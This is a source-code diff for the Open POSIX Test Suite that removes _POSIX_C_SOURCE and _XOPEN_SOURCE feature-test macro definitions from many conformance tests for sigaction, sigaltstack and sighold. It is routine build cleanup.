diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-5.c
index 2d16940..945dabf 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-5.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-6.c
index 8ad7380..39d6b61 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-6.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-7.c
index 7e38627..5065e8c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-7.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-8.c
index bd0a969..1b7b409 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-8.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-9.c
index 6bffc8d..bfb76d7 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/28-9.c
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/29-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/29-1.c
index 9fb1156..3e88b21 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/29-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/29-1.c
@@ -31,11 +31,8 @@
 * The test fails if the signals are not delivered in FIFO order.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /* This test uses some XSI features */
-//#define _XOPEN_SOURCE 600
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/30-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/30-1.c
index a188ccb..1659d60 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/30-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/30-1.c
@@ -29,8 +29,6 @@
 * The test fails if the signals are not delivered in FIFO order.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-1.c
index c7b665d..ccf7342 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-1.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-10.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-10.c
index 6928ac6..4829116 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-10.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-10.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-11.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-11.c
index c8fc5a5..9ea9f32 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-11.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-11.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-12.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-12.c
index fbd11c1..cb91836 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-12.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-12.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-13.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-13.c
index 44205d2..f8924a6 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-13.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-13.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-14.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-14.c
index ed330f7..422fc16 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-14.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-14.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-15.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-15.c
index 1c920c7..9fe0cfb 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-15.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-15.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-16.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-16.c
index 1428c70..8624e05 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-16.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-16.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-17.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-17.c
index e274e77..8ef027f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-17.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-17.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-18.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-18.c
index 3f9b1cb..f67aa3c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-18.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-18.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-19.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-19.c
index 3f9b1cb..f67aa3c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-19.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-19.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-2.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-2.c
index 3f9b1cb..f67aa3c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-2.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-2.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-20.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-20.c
index 6037167..a89fa84 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-20.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-20.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-21.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-21.c
index 377d33b..d30e182 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-21.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-21.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-22.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-22.c
index 7a88f19..35c9f3e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-22.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-22.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-23.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-23.c
index f7cb3ed..f5724d9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-23.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-23.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-24.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-24.c
index 36a8f74..ad9139c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-24.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-24.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-25.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-25.c
index b26717c..220fd73 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-25.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-25.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-26.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-26.c
index a022182..dd519d2 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-26.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-26.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-3.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-3.c
index 711e414..2768908 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-3.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-3.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-4.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-4.c
index ff990cc..d3f2233 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-4.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-4.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-5.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-5.c
index de0e4e7..9cbd7b0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-5.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-5.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-6.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-6.c
index 1e4b4a5..08f4b32 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-6.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-6.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-7.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-7.c
index f78990b..c2bdee3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-7.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-7.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-8.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-8.c
index 0214f82..5239bdd 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-8.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-8.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-9.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-9.c
index ec1cbdc..289e286 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-9.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/6-9.c
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-1.in
index 7959d58..c5ab2e8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-1.in
@@ -16,7 +16,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-2.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-2.in
index da0e12b..8b36980 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-2.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_12-2.in
@@ -14,7 +14,6 @@
   NOTE: This test case does not attempt to verify the proper operation
         of sigaltstack.
 */
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_13-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_13-1.in
index 97f2c1b..1435962 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_13-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_13-1.in
@@ -15,7 +15,6 @@
         of sigaltstack.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_16-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_16-1.in
index 16d47b9..1d85d46 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_16-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_16-1.in
@@ -35,11 +35,8 @@
 */
 
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /* This test tests for an XSI feature */
-#define _XOPEN_SOURCE 600
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_18-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_18-1.in
index 4bccbe5..8d39483 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_18-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_18-1.in
@@ -28,8 +28,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_19-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_19-1.in
index 580a11b..b90f3e9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_19-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_19-1.in
@@ -29,8 +29,6 @@
 * The test fails if the function is not called
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <pthread.h>
 #include <stdarg.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_22-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_22-1.in
index 8fc668a..d804ea1 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_22-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_22-1.in
@@ -26,7 +26,6 @@
      otherwise exit -1.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_23-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_23-1.in
index b3452ef..29567e9 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_23-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_23-1.in
@@ -29,8 +29,6 @@
 */
 
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 /******************************************************************************/
 /*************************** standard includes ********************************/
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_28-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_28-1.in
index eed8055..35f2fb8 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_28-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_28-1.in
@@ -31,8 +31,6 @@
 * The test fails if a signal handler does not work as expected.
 */
 
-/* We are testing conformance to IEEE Std 1003.1, 2003 Edition */
-#define _POSIX_C_SOURCE 200112L
 
 #include <stdarg.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_6-1.in b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_6-1.in
index 1909f25..622c029 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_6-1.in
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaction/templates/template_6-1.in
@@ -10,7 +10,6 @@
   in sa_sigaction identifying the signal-catching function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/1-1.c
index f508b53..f7087c3 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/1-1.c
@@ -19,7 +19,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/10-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/10-1.c
index d364c68..141ee5e 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/10-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/10-1.c
@@ -9,7 +9,6 @@
  successful completion.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/11-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/11-1.c
index 9581b08..0ff0479 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/11-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/11-1.c
@@ -17,7 +17,6 @@
  - Verify that sigaltstack() returns -1 and sets errno to [EINVAL].
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/12-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/12-1.c
index 7ba9db2..1430b69 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/12-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/12-1.c
@@ -17,7 +17,6 @@
  - Verify that sigaltstack() returns -1 and sets errno to [ENOMEM].
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/2-1.c
index f60226f..f0a149f 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/2-1.c
@@ -20,7 +20,6 @@
    2. The ss_size member of the hanlder_s is equal to that of original_s.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/3-1.c
index c487184..46dc12a 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/3-1.c
@@ -22,7 +22,6 @@
       that we defined in the main() function.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/5-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/5-1.c
index 0b23a2e..2fbaef0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/5-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/5-1.c
@@ -10,7 +10,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/6-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/6-1.c
index 99ce89c..9f54d03 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/6-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/6-1.c
@@ -18,7 +18,6 @@
    stack and verify that the ss_flags member of the obtained alternate signal stack is SS_ONSTACK.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/7-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/7-1.c
index 0e7a9d9..d694583 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/7-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/7-1.c
@@ -18,7 +18,6 @@
    that the attempt fails.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/8-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/8-1.c
index 86c7681..cff8b7c 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/8-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/8-1.c
@@ -18,7 +18,6 @@
    stack and verify that the ss_flags member of the obtained alternate signal stack is SS_DISABLE.
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c
index ea9b7ef..0236a75 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sigaltstack/9-1.c
@@ -23,7 +23,6 @@
  *
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <stdlib.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sighold/1-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sighold/1-1.c
index 35a91d2..6e2e5f0 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sighold/1-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sighold/1-1.c
@@ -12,7 +12,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <signal.h>
 #include <stdio.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sighold/2-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sighold/2-1.c
index e94f4ce..8b0a308 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sighold/2-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sighold/2-1.c
@@ -9,7 +9,6 @@
 
 */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
diff --git a/testcases/open_posix_testsuite/conformance/interfaces/sighold/3-1.c b/testcases/open_posix_testsuite/conformance/interfaces/sighold/3-1.c
index d124411..269fe35 100644
--- a/testcases/open_posix_testsuite/conformance/interfaces/sighold/3-1.c
+++ b/testcases/open_posix_testsuite/conformance/interfaces/sighold/3-1.c
@@ -12,7 +12,6 @@
  * errno to EINVAL
  */
 
-#define _XOPEN_SOURCE 600
 
 #include <stdio.h>
 #include <signal.h>
